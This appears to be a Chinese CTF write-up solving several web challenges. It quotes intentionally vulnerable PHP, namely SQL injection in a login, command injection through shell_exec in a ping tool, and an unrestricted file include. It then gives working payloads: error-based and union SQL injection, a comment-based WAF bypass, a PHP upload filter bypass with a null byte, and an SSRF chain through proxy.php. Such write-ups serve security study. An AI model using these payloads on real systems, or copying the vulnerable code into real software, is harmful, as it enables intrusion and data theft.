flag in flag

<html>
<head>
Masel's secure site
</head>
<body>

<a href="setup-db.php">重置数据库</a>

<?php
include("auth.php");
$servername = $host;
$username = $dbuser;
$password = $dbpass;
$database = $dbname;

error_reporting(0);
if($_POST["user"] && $_POST["pass"]) {
    $conn = mysqli_connect($servername, $username, $password, $database);
    if ($conn->connect_error) {
die("Connection failed: " . mysqli_error($conn));
}     
$user = $_POST["user"];
$pass = $_POST["pass"];

$sql = "select user from user where pw='$pass'";
//echo $sql;
$query = mysqli_query($conn,$sql);
if (!$query) {
    printf("Error: %s\n", mysqli_error($conn));
    exit();
}
$row = mysqli_fetch_array($query);
//echo $row["pw"];
if ($row[user]){
    if ($row[user] == "flag" && $user=="flag") {
        echo "<p>Logged in! Flag: ****************** </p>";
    }
    else{
        echo "<p>Password is right, but it's not for the flag </p>";
    }
}
else {
    echo("<p>Wrong password!</p>"); 
}
}

?>


<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.php.txt">Source</a>
</html>

从上述代码看,password处存在注入。而且是将数据库中的所有查询结果依次进行比较。开启了报错。故此有多种构造方式。

0x01爆出密码

user=flag&pass=111' and(updatexml (1,concat(0x7e,((SELECT pw FROM user LIMIT 1,1)),0x7e),1))#

0x02让查询结果返回有flag

user=flag&pass=1' union select 'flag
user=flag&pass=1' || user='flag

PING出事了吧

加.txt查看源码

<?php
header("Content-type: text/html; charset=utf-8"); 
?>
<html>
<head>
<title></title>
</head>
<body>
<div align="center">
    <h1 al>我刚做了一个ping命令的小工具,快试一下吧!</h1>

    <div >
        <p>请输入目标IP</p>
        <form name="ping" action="index.php" method="post">
            <input type="text" name="ip" size="30">
            <input type="submit" value="submit" name="submit">
        </form>
    </div>
<div>
</body>
</html>
<?php
if( isset( $_POST[ 'submit' ] ) ) {

    $target = $_REQUEST[ 'ip' ];
    $len = strlen($target);
    $i = 0;
    $wrong = 0;
    $pattern='/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}(([&]{2}|[;|])dir[\sa-zA-Z0-9]*)?$/';
    if(!preg_match($pattern, $target)){
        $wrong=1;
    }
    if($wrong == 0 && $len > 0)
    {
        // Determine OS and execute the ping command.
        if (stristr(php_uname('s'), 'Windows NT')) { 
    
            $cmd = shell_exec( 'ping  ' . $target );
            echo '<pre>'.iconv('GB2312', 'UTF-8',$cmd).'</pre>';
        
        } else
        { 
            $cmd = shell_exec( 'ping  -c 3 ' . $target );
            echo '<pre>'.iconv('GB2312', 'UTF-8',$cmd).'</pre>';
        }
    }
    else
        echo "输入格式不正确!";
}
if( isset($_GET['file']))
{
    include($_GET['file']);
}
?>

可以看到可以执行dir命令


然后直接访问,可以得到flag

simple injection

尝试了下就知道是用户名的注入。关闭了报错盲注。但是如果进行扫描的话会被阿里云封。

这个判断的逻辑应该是

首先从数据库中查询输入用户名的密码,然后将查询出的结果依次和输入的密码的md5值相比,如果相等则输出flag。

也就是说我们只要让查出的密码和我们输入的密码的md5相等就可以了。构造payload如下:

username=admin'%0a/*!union*/%0a/*!select*/%0a0x6334636134323338613062393233383230646363353039613666373538343962%23&password=1

有一点简单的waf 这样就能绕过了

double kill

有个上传文件的点和一个包含。这样就很简单了。不过过滤了<?php 需要用

<script language="php"></scirpt> 

绕过。用%00绕过.php

糊涂的小明

访问admin看到admin的ip:121.42.171.222

查看源码有个proxy.php

然后通过proxy.php 到121.43.171.222 然后发现121.43.171.222也有个proxy.php

构造

http://101.200.145.44/web4/proxy.php?url=http://121.42.171.222/proxy.php?url=http://101.200.145.44/web4/admin/robots.txt

要先注册一个admin账号。通过超长可以构造出admin账号。

看到后门文件。查看后门文件源码,是phpjm过的。删掉第一行以后,直接执行以下看到后门密码是360.POST过去得到flag